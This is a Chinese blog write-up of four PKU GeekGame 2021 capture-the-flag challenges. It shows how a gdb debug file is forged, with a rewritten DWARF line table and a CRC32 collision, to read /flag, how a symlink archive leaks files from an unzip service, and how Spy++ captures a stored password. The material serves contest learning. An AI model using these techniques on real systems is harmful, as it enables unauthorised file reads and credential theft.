PKU GeekGame 2021 Writeup

第一届北京大学信息安全综合能力竞赛,校外选手参加玩玩。挑着觉得好玩的题目做了做。再此分享Writeup。

签到

给出了一个PDF,PDF里面的字就是flag,但是其中的字是异形字体。使用Ctrl+A把字全部选中,复制出来。可以得到如下内容:

fa{[email protected]!
lgHv__ra_ieGeGm_1}

显然可见,是2-栅栏加密。利用下面的脚本解密得到Flag:

str_arr = ["fa{[email protected]!", "lgHv__ra_ieGeGm_1}"]

for i in range(len(str_arr[0])):
    for j in range(2):
        print(str_arr[j][i], end="")

诡异的网关

首先尝试用IDA分析,发现太复杂,字符串搜索也没搜索出来啥。于是开始探索GUI。
在登录界面,发现这个客户端有个记住账号的功能。有个用户名是flag。点击切换一下,成了下图的状态。

显然,密码被存在Password文本框里了。但是我想复制的时候。系统会提示:不允许:您不能从密码字段中复制。

于是,我想起了Windows的GDI。下面是来自百度百科对GDI的解释:

GDI是图形设备接口的英文缩写,主要任务是负责系统与绘图程序之间的信息交换,处理所有Windows程序的图形和图像输出。GDI的出现使程序员无需要关心硬件设备及设备正常驱动,就可以将应用程序的输出转化为硬件设备上的输出和构成,实现了程序开发者与硬件设备的隔离,大大方便了开发工作。

我已经不记得我对GDI的了解是从哪本书里来的了。但我知道的是,绝大多数窗口及控件的绘制工作都由操作系统完成。Windows操作系统通过句柄唯一标志一个GDI对象,并且通过Windows API完成对控件的各种事件及操作。因此,我们只需要监听对该控件对象的事件,即可捕捉由用户态应用程序向操作系统内核发送的文本框中的信息,而无需完整的逆向程序。

那么“监听控件对象”的工具是什么,从哪里来呢?微软有一个Microsoft Spy++软件,专门用来做这个事情。它的简介如下:

Spy++ (SPYXX.EXE) is a Win32-based utility that gives you a graphical view of the system’s processes, threads, windows, and window messages. With Spy++, you can:
– Display a graphical tree of relationships among system objects, including processes, threads, and windows.
– Search for specified windows, threads, processes, or messages.
– View the properties of selected windows, threads, processes, or messages.
– Select a window, thread, process, or message directly from the view.
– Use the Finder Tool to select a window by mouse positioning.
– Set message options using complex message log selection parameters.

我们打开Microsoft Spy++,选择菜单:监视——日志消息。利用“查找程序工具”,将定位图标拖放到对应的密码框上,如图所示。

点击确定。回到客户端里,重新点击用户名的下拉文本框并选择flag。此时Spy++里的Messages窗口会不停的收到消息。待操作完成后,我们在Messages窗口中寻找WM_SETTEXT事件。即得到了Flag。

射水鱼

这是一道很有意思的题目,需要阅读大量的英文参考资料,国内讲这些的很少。以类似于Pwn的形式出出来了。
首先我们阅读serve.py:

import functools
import sys
import tempfile
import shutil
import os
import subprocess

print = functools.partial(print, flush=True)

def main():
    print('What do you think should be present in a debug info file ?')
    print('Give me your answer, I will debug it for you :)')
    print('File > ')

    content = sys.stdin.buffer.read(0x1024)
    print(len(content))
    with tempfile.TemporaryDirectory() as tempdir:
        bin_path = os.path.join(tempdir, 'hello')
        shutil.copyfile('/home/ctf/hello', bin_path)
        with open(os.path.join(tempdir, 'hello.debug'), 'wb') as f:
            f.write(content)
        os.chdir(tempdir) 
        os.chmod(bin_path, 0o755)
        subprocess.run(['gdb', 'hello', '-ex', 'b main', '-ex', 'r', '-ex', 'p a', '-ex', 'c', '-ex', 'q'])


if __name__ == '__main__':
    main()

简要来说,整个流程是从客户端读一个长度恰为0x1024的hello.debug,和hello程序放在一起。然后在gdb中执行命令,依次为:

  1. 在main处下断点
  2. 运行程序
  3. 打印变量a的值
  4. 继续运行
  5. 退出

简单猜测一下,hello.debug文件应该是与hello相分离的符号文件。于是我就在网上搜索,查找到了资料Separate Debug Files (Debugging with GDB)[1]。阅读完毕之后,我抓住的最重要的信息是:

  1. 采用Debug Link方式单独存放符号文件时(本题目就采用该种方法),原ELF文件中.gnu_debuglink节中存放了对应的分离符号文件名以及单独符号文件的校验和。
  2. 校验和采用IEEE 802.3定义的标准CRC32算法,多项式为 x^{32} + x^{26} + x^{23} + x^{22} + x^{16} + x^{12} + x^{11} + x^{10} + x^{8} + x^{7} + x^{5} + x^{4} + x^{2} + x + 1,对整个符号文件内容进行校验和的计算。
  3. 建立分离的调试文件的示例命令如下:
objcopy --only-keep-debug foo foo.debug
strip -g foo

一开始的时候我还没有头绪,非常疑惑。调试文件又不能执行代码,虽然题面中给出flag文件存放的路径是/flag,我怎么执行命令把它打出来呢?我查了一通ELF对应的符号文件格式,发现是DWARF,又去尝试翻DWARF的手册[2],什么都没查找到,无果。后来我索性想着按照他的脚本自己执行一遍来尝试一下,结果发现了如何打印信息的方法。

原来,使用-ex选项执行gdb的方式,会让其在给main函数下断时,在CLI里面打印出源码文件的对应行。

而相关信息(包括源码文件路径、行号信息)都存储在符号文件中。只要我们去修改符号文件,更改对应的源码路径及行号信息,就可以巧妙地让gdb替我们读出/flag的第1行.从而得到flag。

但这其中有非常多需要我们注意的点,我下面来一个一个讲述:

  1. 编译新的.debug文件时,必须严格使用与原可执行ELF相同版本的编译器,否则编译了之后压根也对不上。我们可以通过如下命令进行查看:
objdump -sj .comment hello

hello:     文件格式 elf64-x86-64

Contents of section .comment:
 0000 4743433a 20285562 756e7475 20392e33  GCC: (Ubuntu 9.3
 0010 2e302d31 37756275 6e747531 7e32302e  .0-17ubuntu1~20.
 0020 30342920 392e332e 3000               04) 9.3.0.

这个版本恰好是Ubuntu 20.04的GCC编译器。所以我直接用了Ubuntu 20.04完成这一系列操作。

  1. 使用如下命令查看.debug符号文件的详细内部结构:
objdump -g hello.debug.1

hello.debug.1:     文件格式 elf64-x86-64

Contents of the .eh_frame section (loaded from hello.debug.1):


00000000 ZERO terminator


Contents of the .debug_aranges section (loaded from hello.debug.1):

  长度:                    44
  版本:                    2
  .debug_info 节中的偏移量:  0x0
  指针大小:                 8
  节区大小:                 0

    地址               长度
    0000000000001129 000000000000000f 
    0000000000000000 0000000000000000 

Contents of the .debug_info section (loaded from hello.debug.1):

  编译单元 @ 偏移 0x0:
   长度:        0x63 (32-bit)
   版本:        4
   缩写偏移量:    0x0
   指针大小:    8
 <0><b>:缩写编号:1 (DW_TAG_compile_unit)
    <c>   DW_AT_producer    : (indirect string, offset: 0x2a): GNU C17 9.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protection
    <10>   DW_AT_language    : 12   (ANSI C99)
    <11>   DW_AT_name        : (indirect string, offset: 0xb7): hello.c
    <15>   DW_AT_comp_dir    : (indirect string, offset: 0x0): /home/user/桌面/prob14_1inc1ou701mua7t5
    <19>   DW_AT_low_pc      : 0x1129
    <21>   DW_AT_high_pc     : 0xf
    <29>   DW_AT_stmt_list   : 0x0
 <1><2d>:缩写编号:2 (DW_TAG_variable)
    <2e>   DW_AT_name        : a
    <30>   DW_AT_decl_file   : 1
    <31>   DW_AT_decl_line   : 2
    <32>   DW_AT_decl_column : 5
    <33>   DW_AT_type        : <0x41>
    <37>   DW_AT_external    : 1
    <37>   DW_AT_location    : 9 byte block: 3 14 40 0 0 0 0 0 0    (DW_OP_addr: 4014)
 <1><41>:缩写编号:3 (DW_TAG_base_type)
    <42>   DW_AT_byte_size   : 4
    <43>   DW_AT_encoding    : 5    (signed)
    <44>   DW_AT_name        : int
 <1><48>:缩写编号:4 (DW_TAG_subprogram)
    <49>   DW_AT_external    : 1
    <49>   DW_AT_name        : (indirect string, offset: 0xbf): main
    <4d>   DW_AT_decl_file   : 1
    <4e>   DW_AT_decl_line   : 4
    <4f>   DW_AT_decl_column : 5
    <50>   DW_AT_type        : <0x41>
    <54>   DW_AT_low_pc      : 0x1129
    <5c>   DW_AT_high_pc     : 0xf
    <64>   DW_AT_frame_base  : 1 byte block: 9c     (DW_OP_call_frame_cfa)
    <66>   DW_AT_GNU_all_call_sites: 1
 <1><66>:缩写编号:0

Contents of the .debug_abbrev section (loaded from hello.debug.1):

  Number TAG (0x0)
   1      DW_TAG_compile_unit    [has children]
    DW_AT_producer     DW_FORM_strp
    DW_AT_language     DW_FORM_data1
    DW_AT_name         DW_FORM_strp
    DW_AT_comp_dir     DW_FORM_strp
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_stmt_list    DW_FORM_sec_offset
    DW_AT value: 0     DW_FORM value: 0
   2      DW_TAG_variable    [no children]
    DW_AT_name         DW_FORM_string
    DW_AT_decl_file    DW_FORM_data1
    DW_AT_decl_line    DW_FORM_data1
    DW_AT_decl_column  DW_FORM_data1
    DW_AT_type         DW_FORM_ref4
    DW_AT_external     DW_FORM_flag_present
    DW_AT_location     DW_FORM_exprloc
    DW_AT value: 0     DW_FORM value: 0
   3      DW_TAG_base_type    [no children]
    DW_AT_byte_size    DW_FORM_data1
    DW_AT_encoding     DW_FORM_data1
    DW_AT_name         DW_FORM_string
    DW_AT value: 0     DW_FORM value: 0
   4      DW_TAG_subprogram    [no children]
    DW_AT_external     DW_FORM_flag_present
    DW_AT_name         DW_FORM_strp
    DW_AT_decl_file    DW_FORM_data1
    DW_AT_decl_line    DW_FORM_data1
    DW_AT_decl_column  DW_FORM_data1
    DW_AT_type         DW_FORM_ref4
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_frame_base   DW_FORM_exprloc
    DW_AT_GNU_all_call_sites DW_FORM_flag_present
    DW_AT value: 0     DW_FORM value: 0

Raw dump of debug contents of section .debug_line (loaded from hello.debug.1):

  偏移:                       0x0
  长度:                      59
  DWARF 版本:                3
  导言长度:        30
  最小指令长度:              1
  “is_stmt”的初始值:       1
  行基数:                      -5
  行范围:                      14
  操作码基数:                  13

 操作码:
  Opcode 1 has 0 args
  Opcode 2 has 1 arg
  Opcode 3 has 1 arg
  Opcode 4 has 1 arg
  Opcode 5 has 1 arg
  Opcode 6 has 0 args
  Opcode 7 has 0 args
  Opcode 8 has 0 args
  Opcode 9 has 1 arg
  Opcode 10 has 0 args
  Opcode 11 has 0 args
  Opcode 12 has 1 arg

 目录表为空。

 文件名表 (偏移 0x1c):
  条目    目录  时间  大小  名称
  1 0   0   0   hello.c

 行号语句:
  [0x00000028]  将列设定为 12
  [0x0000002a]  扩充操作码 2: 设置地址为 0x1129
  [0x00000035]  Special opcode 8: advance Address by 0 to 0x1129 and Line by 3 to 4
  [0x00000036]  Special opcode 118: advance Address by 8 to 0x1131 and Line by 1 to 5
  [0x00000037]  将列设定为 1
  [0x00000039]  Special opcode 76: advance Address by 5 to 0x1136 and Line by 1 to 6
  [0x0000003a]  Advance PC by 2 to 0x1138
  [0x0000003c]  扩充操作码 1: 序列结束


Contents of the .debug_str section (loaded from hello.debug.1):

  0x00000000 2f686f6d 652f7573 65722fe6 a18ce99d /home/user/.....
  0x00000010 a22f7072 6f623134 5f31696e 63316f75 ./prob14_1inc1ou
  0x00000020 3730316d 75613774 3500474e 55204331 701mua7t5.GNU C1
  0x00000030 3720392e 332e3020 2d6d7475 6e653d67 7 9.3.0 -mtune=g
  0x00000040 656e6572 6963202d 6d617263 683d7838 eneric -march=x8
  0x00000050 362d3634 202d6720 2d666173 796e6368 6-64 -g -fasynch
  0x00000060 726f6e6f 75732d75 6e77696e 642d7461 ronous-unwind-ta
  0x00000070 626c6573 202d6673 7461636b 2d70726f bles -fstack-pro
  0x00000080 74656374 6f722d73 74726f6e 67202d66 tector-strong -f
  0x00000090 73746163 6b2d636c 6173682d 70726f74 stack-clash-prot
  0x000000a0 65637469 6f6e202d 6663662d 70726f74 ection -fcf-prot
  0x000000b0 65637469 6f6e0068 656c6c6f 2e63006d ection.hello.c.m
  0x000000c0 61696e00                            ain.

注意我们要更改的地方包括:.debug_line节的行基数、文件名表和行号语句。大致的更改方法为:首先通过objdump定位节偏移。然后手动去定位我上面所提到的二进制数据项并进行修改。再放到gdb里面验证修改是否正确。

更改后的Dump如下:

objdump -g hello.debug

hello.debug:     文件格式 elf64-x86-64

Contents of the .eh_frame section (loaded from hello.debug):


00000000 ZERO terminator


Contents of the .debug_aranges section (loaded from hello.debug):

  长度:                    44
  版本:                    2
  .debug_info 节中的偏移量:  0x0
  指针大小:                 8
  节区大小:                 0

    地址               长度
    0000000000001129 000000000000000f 
    0000000000000000 0000000000000000 

Contents of the .debug_info section (loaded from hello.debug):

  编译单元 @ 偏移 0x0:
   长度:        0x63 (32-bit)
   版本:        4
   缩写偏移量:    0x0
   指针大小:    8
 <0><b>:缩写编号:1 (DW_TAG_compile_unit)
    <c>   DW_AT_producer    : (indirect string, offset: 0x2a): GNU C17 9.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protection
    <10>   DW_AT_language    : 12   (ANSI C99)
    <11>   DW_AT_name        : (indirect string, offset: 0xb7): hello.c
    <15>   DW_AT_comp_dir    : (indirect string, offset: 0x0): /home/user/桌面/prob14_1inc1ou701mua7t5
    <19>   DW_AT_low_pc      : 0x1129
    <21>   DW_AT_high_pc     : 0xf
    <29>   DW_AT_stmt_list   : 0x0
 <1><2d>:缩写编号:2 (DW_TAG_variable)
    <2e>   DW_AT_name        : a
    <30>   DW_AT_decl_file   : 1
    <31>   DW_AT_decl_line   : 2
    <32>   DW_AT_decl_column : 5
    <33>   DW_AT_type        : <0x41>
    <37>   DW_AT_external    : 1
    <37>   DW_AT_location    : 9 byte block: 3 14 40 0 0 0 0 0 0    (DW_OP_addr: 4014)
 <1><41>:缩写编号:3 (DW_TAG_base_type)
    <42>   DW_AT_byte_size   : 4
    <43>   DW_AT_encoding    : 5    (signed)
    <44>   DW_AT_name        : int
 <1><48>:缩写编号:4 (DW_TAG_subprogram)
    <49>   DW_AT_external    : 1
    <49>   DW_AT_name        : (indirect string, offset: 0xbf): main
    <4d>   DW_AT_decl_file   : 1
    <4e>   DW_AT_decl_line   : 4
    <4f>   DW_AT_decl_column : 5
    <50>   DW_AT_type        : <0x41>
    <54>   DW_AT_low_pc      : 0x1129
    <5c>   DW_AT_high_pc     : 0xf
    <64>   DW_AT_frame_base  : 1 byte block: 9c     (DW_OP_call_frame_cfa)
    <66>   DW_AT_GNU_all_call_sites: 1
 <1><66>:缩写编号:0

Contents of the .debug_abbrev section (loaded from hello.debug):

  Number TAG (0x0)
   1      DW_TAG_compile_unit    [has children]
    DW_AT_producer     DW_FORM_strp
    DW_AT_language     DW_FORM_data1
    DW_AT_name         DW_FORM_strp
    DW_AT_comp_dir     DW_FORM_strp
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_stmt_list    DW_FORM_sec_offset
    DW_AT value: 0     DW_FORM value: 0
   2      DW_TAG_variable    [no children]
    DW_AT_name         DW_FORM_string
    DW_AT_decl_file    DW_FORM_data1
    DW_AT_decl_line    DW_FORM_data1
    DW_AT_decl_column  DW_FORM_data1
    DW_AT_type         DW_FORM_ref4
    DW_AT_external     DW_FORM_flag_present
    DW_AT_location     DW_FORM_exprloc
    DW_AT value: 0     DW_FORM value: 0
   3      DW_TAG_base_type    [no children]
    DW_AT_byte_size    DW_FORM_data1
    DW_AT_encoding     DW_FORM_data1
    DW_AT_name         DW_FORM_string
    DW_AT value: 0     DW_FORM value: 0
   4      DW_TAG_subprogram    [no children]
    DW_AT_external     DW_FORM_flag_present
    DW_AT_name         DW_FORM_strp
    DW_AT_decl_file    DW_FORM_data1
    DW_AT_decl_line    DW_FORM_data1
    DW_AT_decl_column  DW_FORM_data1
    DW_AT_type         DW_FORM_ref4
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_frame_base   DW_FORM_exprloc
    DW_AT_GNU_all_call_sites DW_FORM_flag_present
    DW_AT value: 0     DW_FORM value: 0

Raw dump of debug contents of section .debug_line (loaded from hello.debug):

  偏移:                       0x0
  长度:                      59
  DWARF 版本:                3
  导言长度:        30
  最小指令长度:              1
  “is_stmt”的初始值:       1
  行基数:                      -8
  行范围:                      14
  操作码基数:                  13

 操作码:
  Opcode 1 has 0 args
  Opcode 2 has 1 arg
  Opcode 3 has 1 arg
  Opcode 4 has 1 arg
  Opcode 5 has 1 arg
  Opcode 6 has 0 args
  Opcode 7 has 0 args
  Opcode 8 has 0 args
  Opcode 9 has 1 arg
  Opcode 10 has 0 args
  Opcode 11 has 0 args
  Opcode 12 has 1 arg

 目录表为空。

 文件名表 (偏移 0x1c):
  条目    目录  时间  大小  名称
  1 0   0   0   /flag

 行号语句:
  [0x00000026]objdump:警告: Badly formed extended line op encountered!
  [0x00000028]  将列设定为 12
  [0x0000002a]  扩充操作码 2: 设置地址为 0x1129
  [0x00000035]  Special opcode 8: advance Address by 0 to 0x1129 and Line by 0 to 1
  [0x00000036]  Special opcode 118: advance Address by 8 to 0x1131 and Line by -2 to -1
  [0x00000037]  将列设定为 1
  [0x00000039]  Special opcode 76: advance Address by 5 to 0x1136 and Line by -2 to -3
  [0x0000003a]  Advance PC by 2 to 0x1138
  [0x0000003c]  扩充操作码 1: 序列结束


Contents of the .debug_str section (loaded from hello.debug):

  0x00000000 2f686f6d 652f7573 65722fe6 a18ce99d /home/user/.....
  0x00000010 a22f7072 6f623134 5f31696e 63316f75 ./prob14_1inc1ou
  0x00000020 3730316d 75613774 3500474e 55204331 701mua7t5.GNU C1
  0x00000030 3720392e 332e3020 2d6d7475 6e653d67 7 9.3.0 -mtune=g
  0x00000040 656e6572 6963202d 6d617263 683d7838 eneric -march=x8
  0x00000050 362d3634 202d6720 2d666173 796e6368 6-64 -g -fasynch
  0x00000060 726f6e6f 75732d75 6e77696e 642d7461 ronous-unwind-ta
  0x00000070 626c6573 202d6673 7461636b 2d70726f bles -fstack-pro
  0x00000080 74656374 6f722d73 74726f6e 67202d66 tector-strong -f
  0x00000090 73746163 6b2d636c 6173682d 70726f74 stack-clash-prot
  0x000000a0 65637469 6f6e202d 6663662d 70726f74 ection -fcf-prot
  0x000000b0 65637469 6f6e0068 656c6c6f 2e63006d ection.hello.c.m
  0x000000c0 61696e00                            ain.

  1. 修改后的.debug文件必须为0x1024个字节长,因为Pwn服务端精确读入0x1024个字节,不能多也不能少。所以:

– 利用参考资料[1]中给出的符号文件生成命令,生成的符号文件大小超出了限制要求。因此使用objcopy --remove-section [Section] hello.debug命令将符号文件中无关紧要的非符号节直接去掉,以减小占用空间。其中[Section]是节名。
– 由于还要兼顾到CRC32校验和碰撞的问题(后面详述),所以在减小.debug文件大小后,应该用0x00补齐文件大小到0x101D,再填充6个字节的校验和碰撞填充凑成0x1024个字节。可以这样做的原因是,ELF文件有专门的节表定位每一个节的地址,在文件最后填充内容不会影响对ELF的正常操作。

  1. 由于gdb采用CRC32方法验证分离符号文件的校验和,我们必须把修改后符号文件的CRC32校验和更改为和原hello文件中一致。利用如下命令读取其CRC32的值:
objdump -g hello

hello:     文件格式 elf64-x86-64

Contents of the .eh_frame section (loaded from hello):


00000000 0000000000000014 00000000 CIE
  Version:               1
  Augmentation:          "zR"
  Code alignment factor: 1
  Data alignment factor: -8
  Return address column: 16
  Augmentation data:     1b
  DW_CFA_def_cfa: r7 (rsp) ofs 8
  DW_CFA_offset: r16 (rip) at cfa-8
  DW_CFA_nop
  DW_CFA_nop

00000018 0000000000000014 0000001c FDE cie=00000000 pc=0000000000001040..000000000000106f
  DW_CFA_advance_loc: 4 to 0000000000001044
  DW_CFA_undefined: r16 (rip)
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

00000030 0000000000000024 00000034 FDE cie=00000000 pc=0000000000001020..0000000000001030
  DW_CFA_def_cfa_offset: 16
  DW_CFA_advance_loc: 6 to 0000000000001026
  DW_CFA_def_cfa_offset: 24
  DW_CFA_advance_loc: 10 to 0000000000001030
  DW_CFA_def_cfa_expression (DW_OP_breg7 (rsp): 8; DW_OP_breg16 (rip): 0; DW_OP_lit15; DW_OP_and; DW_OP_lit10; DW_OP_ge; DW_OP_lit3; DW_OP_shl; DW_OP_plus)
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

00000058 0000000000000014 0000005c FDE cie=00000000 pc=0000000000001030..0000000000001040
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

00000070 000000000000001c 00000074 FDE cie=00000000 pc=0000000000001129..0000000000001138
  DW_CFA_advance_loc: 5 to 000000000000112e
  DW_CFA_def_cfa_offset: 16
  DW_CFA_offset: r6 (rbp) at cfa-16
  DW_CFA_advance_loc: 3 to 0000000000001131
  DW_CFA_def_cfa_register: r6 (rbp)
  DW_CFA_advance_loc: 6 to 0000000000001137
  DW_CFA_def_cfa: r7 (rsp) ofs 8
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

00000090 0000000000000044 00000094 FDE cie=00000000 pc=0000000000001140..00000000000011a5
  DW_CFA_advance_loc: 6 to 0000000000001146
  DW_CFA_def_cfa_offset: 16
  DW_CFA_offset: r15 (r15) at cfa-16
  DW_CFA_advance_loc: 9 to 000000000000114f
  DW_CFA_def_cfa_offset: 24
  DW_CFA_offset: r14 (r14) at cfa-24
  DW_CFA_advance_loc: 5 to 0000000000001154
  DW_CFA_def_cfa_offset: 32
  DW_CFA_offset: r13 (r13) at cfa-32
  DW_CFA_advance_loc: 5 to 0000000000001159
  DW_CFA_def_cfa_offset: 40
  DW_CFA_offset: r12 (r12) at cfa-40
  DW_CFA_advance_loc: 4 to 000000000000115d
  DW_CFA_def_cfa_offset: 48
  DW_CFA_offset: r6 (rbp) at cfa-48
  DW_CFA_advance_loc: 8 to 0000000000001165
  DW_CFA_def_cfa_offset: 56
  DW_CFA_offset: r3 (rbx) at cfa-56
  DW_CFA_advance_loc: 7 to 000000000000116c
  DW_CFA_def_cfa_offset: 64
  DW_CFA_advance_loc: 46 to 000000000000119a
  DW_CFA_def_cfa_offset: 56
  DW_CFA_advance_loc: 1 to 000000000000119b
  DW_CFA_def_cfa_offset: 48
  DW_CFA_advance_loc: 1 to 000000000000119c
  DW_CFA_def_cfa_offset: 40
  DW_CFA_advance_loc: 2 to 000000000000119e
  DW_CFA_def_cfa_offset: 32
  DW_CFA_advance_loc: 2 to 00000000000011a0
  DW_CFA_def_cfa_offset: 24
  DW_CFA_advance_loc: 2 to 00000000000011a2
  DW_CFA_def_cfa_offset: 16
  DW_CFA_advance_loc: 2 to 00000000000011a4
  DW_CFA_def_cfa_offset: 8
  DW_CFA_nop

000000d8 0000000000000010 000000dc FDE cie=00000000 pc=00000000000011b0..00000000000011b5
  DW_CFA_nop
  DW_CFA_nop
  DW_CFA_nop

000000ec ZERO terminator


Contents of the .gnu_debuglink section (loaded from hello):

  Separate debug info file: hello.debug
  CRC value: 0x6751fc53

可知,分离符号文件的CRC32文件应为0x6751fc53。
CRC32是一个相对简单的校验算法,有现成的碰撞工具[3]。我就使用了该碰撞工具。在对符号文件手动修改完成、填充完成后,再将碰撞填充的哈希值填进去,凑成0x1024个字节即可。

最终的Pwn脚本如下:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = remote("prob14.geekgame.pku.edu.cn", 10014)
p.recvuntil("Please input your token: ")
p.sendline("【此处请填写Token】")
p.recvuntil("File >")
with open('hello.debug', 'rb') as f:
    content = f.read()
    p.sendline(content)
p.interactive()

在线解压网站

非常有意思的一道题目,但是做起来不难。
上传一个压缩包,网站会替你解压。解压完了之后你可以读到压缩包里的东西。你需要读到/flag

解决办法:上传一个到/flag的软链接的压缩包,就这么简单。[捂脸]

这道题一做完,我就想起来,我之前做了个网站,也可以上传压缩包。赶紧去查了查有没有毛病。还好,我那个项目部署时Constraint足够多,所以没有问题。外面还有一层Docker套着。

给自己发了个issue,欢迎参观:https://github.com/bjrjk/LinuxASMCallGraph/issues/6

附件

为方便大家学习使用,我已将所有的源码及二进制程序信息压缩打包上传到此处,欢迎下载学习:PKUGeekGame2021

参考资料:
[1] Separate Debug Files (Debugging with GDB) https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
[2] https://dwarfstd.org/doc/DWARF5.pdf
[3] https://github.com/theonlypwner/crc32

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注